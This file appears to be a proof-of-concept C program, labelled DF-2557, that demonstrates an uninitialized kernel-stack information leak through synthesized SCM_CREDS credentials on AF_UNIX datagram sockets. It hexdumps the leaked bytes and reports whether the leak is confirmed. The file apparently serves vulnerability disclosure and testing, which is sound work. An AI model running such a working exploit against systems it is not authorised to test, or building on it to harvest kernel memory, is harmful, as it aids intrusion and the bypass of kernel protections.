DF-2557 / leak_cmsgcred.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * DF-2557 - SO_PASSCRED SCM_CREDS synthesis uninitialized-stack info leak. * * When an AF_UNIX SOCK_DGRAM receiver has SO_PASSCRED set and the sender * sends a datagram with NO SCM_CREDS ancillary data, uipc_send synthesizes * one from an uninitialized on-stack `struct cmsgcred cred` * (sys/kern/uipc_usrreq.c:683). sbcreatecontrol() copies the whole 80-byte * struct into the mbuf, then unp_internalize() only fills pid/uid/euid/gid/ * ngroups/groups[0..ngroups-1]. The remaining bytes (2 bytes of padding * after the short ngroups + groups[ngroups..CMGROUP_MAX-1]) retain whatever * was on the kernel stack and are delivered verbatim to the receiver. * * This PoC: socketpair -> set SO_PASSCRED on receiver -> send plain data * (no SCM_CREDS) -> recvmsg with a control buffer -> hexdump the 80-byte * cmsgcred and count non-zero bytes in the region that should be zero * (everything past groups[ngroups-1] including the 2-byte padding). * * Build: cc -O2 -o leak_cmsgcred leak_cmsgcred.c * Run: ./leak_cmsgcred (unprivileged) */ #include <sys/param.h> #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #ifndef CMGROUP_MAX #define CMGROUP_MAX 16 #endif static void hexdump(const char *label, const unsigned char *p, int n) { int i; printf("%s (%d bytes):\n ", label, n); for (i = 0; i < n; i++) { printf("%02x", p[i]); if ((i & 0x1f) == 0x1f) printf("\n "); else if ((i & 3) == 3) printf(" "); } printf("\n"); } int main(int argc, char **argv) { int sv[2]; int on = 1, r, i, iter, niter = 3; struct msghdr msg; struct iovec iov; char databuf[8] = { 'h', 'i', 0 }; char cbuf[CMSG_SPACE(sizeof(struct cmsgcred)) + 32]; struct cmsghdr *cm; struct cmsgcred *cc; ssize_t n; if (argc > 1) niter = atoi(argv[1]); if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) { perror("socketpair"); return 2; } if (setsockopt(sv[1], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)) < 0) { perror("setsockopt SO_PASSCRED"); return 2; } /* confirm SO_PASSCRED was accepted */ int got = 0; socklen_t gl = sizeof(got); if (getsockopt(sv[1], SOL_SOCKET, SO_PASSCRED, &got, &gl) == 0) printf("[*] receiver SO_PASSCRED = %d (sizeof(struct cmsgcred)=%zu)\n", got, sizeof(struct cmsgcred)); int total_leak = 0; int total_max = 0; for (iter = 0; iter < niter; iter++) { /* send a plain datagram (no SCM_CREDS) from sv[0] */ if (send(sv[0], databuf, sizeof(databuf), 0) < 0) { perror("send"); return 2; } /* receive on sv[1] with a control-message buffer */ memset(&msg, 0, sizeof(msg)); iov.iov_base = databuf; iov.iov_len = sizeof(databuf); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); n = recvmsg(sv[1], &msg, 0); if (n < 0) { perror("recvmsg"); return 2; } printf("\n=== sample %d: data bytes=%zd, controllen=%zu ===\n", iter, n, (size_t)msg.msg_controllen); cm = NULL; for (cm = CMSG_FIRSTHDR(&msg); cm; cm = CMSG_NXTHDR(&msg, cm)) { if (cm->cmsg_level == SOL_SOCKET && cm->cmsg_type == SCM_CREDS) break; } if (!cm) { printf("[!] no SCM_CREDS control message received\n"); continue; } cc = (struct cmsgcred *)CMSG_DATA(cm); printf(" pid=%d uid=%d euid=%d gid=%d ngroups=%d\n", cc->cmcred_pid, cc->cmcred_uid, cc->cmcred_euid, cc->cmcred_gid, cc->cmcred_ngroups); /* Hexdump the full struct. */ hexdump("full 80-byte cmsgcred (as received)", (const unsigned char *)cc, sizeof(*cc)); /* * Compute the "should be zero" tail: 2 bytes of padding after * the short ngroups + groups[ngroups..CMGROUP_MAX-1]. Locate * them by offset in the struct so the count is robust to any * compiler reordering (there shouldn't be any on x86_64). */ unsigned char *base = (unsigned char *)cc; size_t off_ngroups = (size_t)((unsigned char *)&cc->cmcred_ngroups - base); size_t off_groups = (size_t)((unsigned char *)&cc->cmcred_groups[0] - base); size_t pad_lo = off_ngroups + sizeof(short); /* 2 bytes after short */ size_t pad_hi = off_groups; /* up to groups array */ size_t grp_lo = off_groups + (size_t)cc->cmcred_ngroups * sizeof(gid_t); size_t grp_hi = off_groups + sizeof(cc->cmcred_groups); int leaked = 0; printf(" padding bytes [%zu..%zu): ", pad_lo, pad_hi); for (i = (int)pad_lo; i < (int)pad_hi; i++) { printf("%02x", base[i]); if (base[i]) leaked++; } printf("\n"); printf(" tail groups[%d..%d) [%zu..%zu) non-zero bytes: ", cc->cmcred_ngroups, CMGROUP_MAX, grp_lo, grp_hi); int grp_nz = 0; for (i = (int)grp_lo; i < (int)grp_hi; i++) if (base[i]) grp_nz++; printf("%d\n", grp_nz); int max_leak = (int)((pad_hi - pad_lo) + (grp_hi - grp_lo)); printf(" >>> sample %d leaked-non-zero-bytes = %d / %d possible\n", iter, leaked + grp_nz, max_leak); total_leak += leaked + grp_nz; total_max += max_leak; } printf("\n==== SUMMARY over %d samples: %d leaked non-zero bytes (of %d possible) ====\n", niter, total_leak, total_max); if (total_leak > 0) { printf("result: LEAK CONFIRMED (kernel-stack residue in synthesized SCM_CREDS)\n"); return 0; } else { printf("result: NO LEAK (struct is fully zeroed - bug not present)\n"); return 1; } } |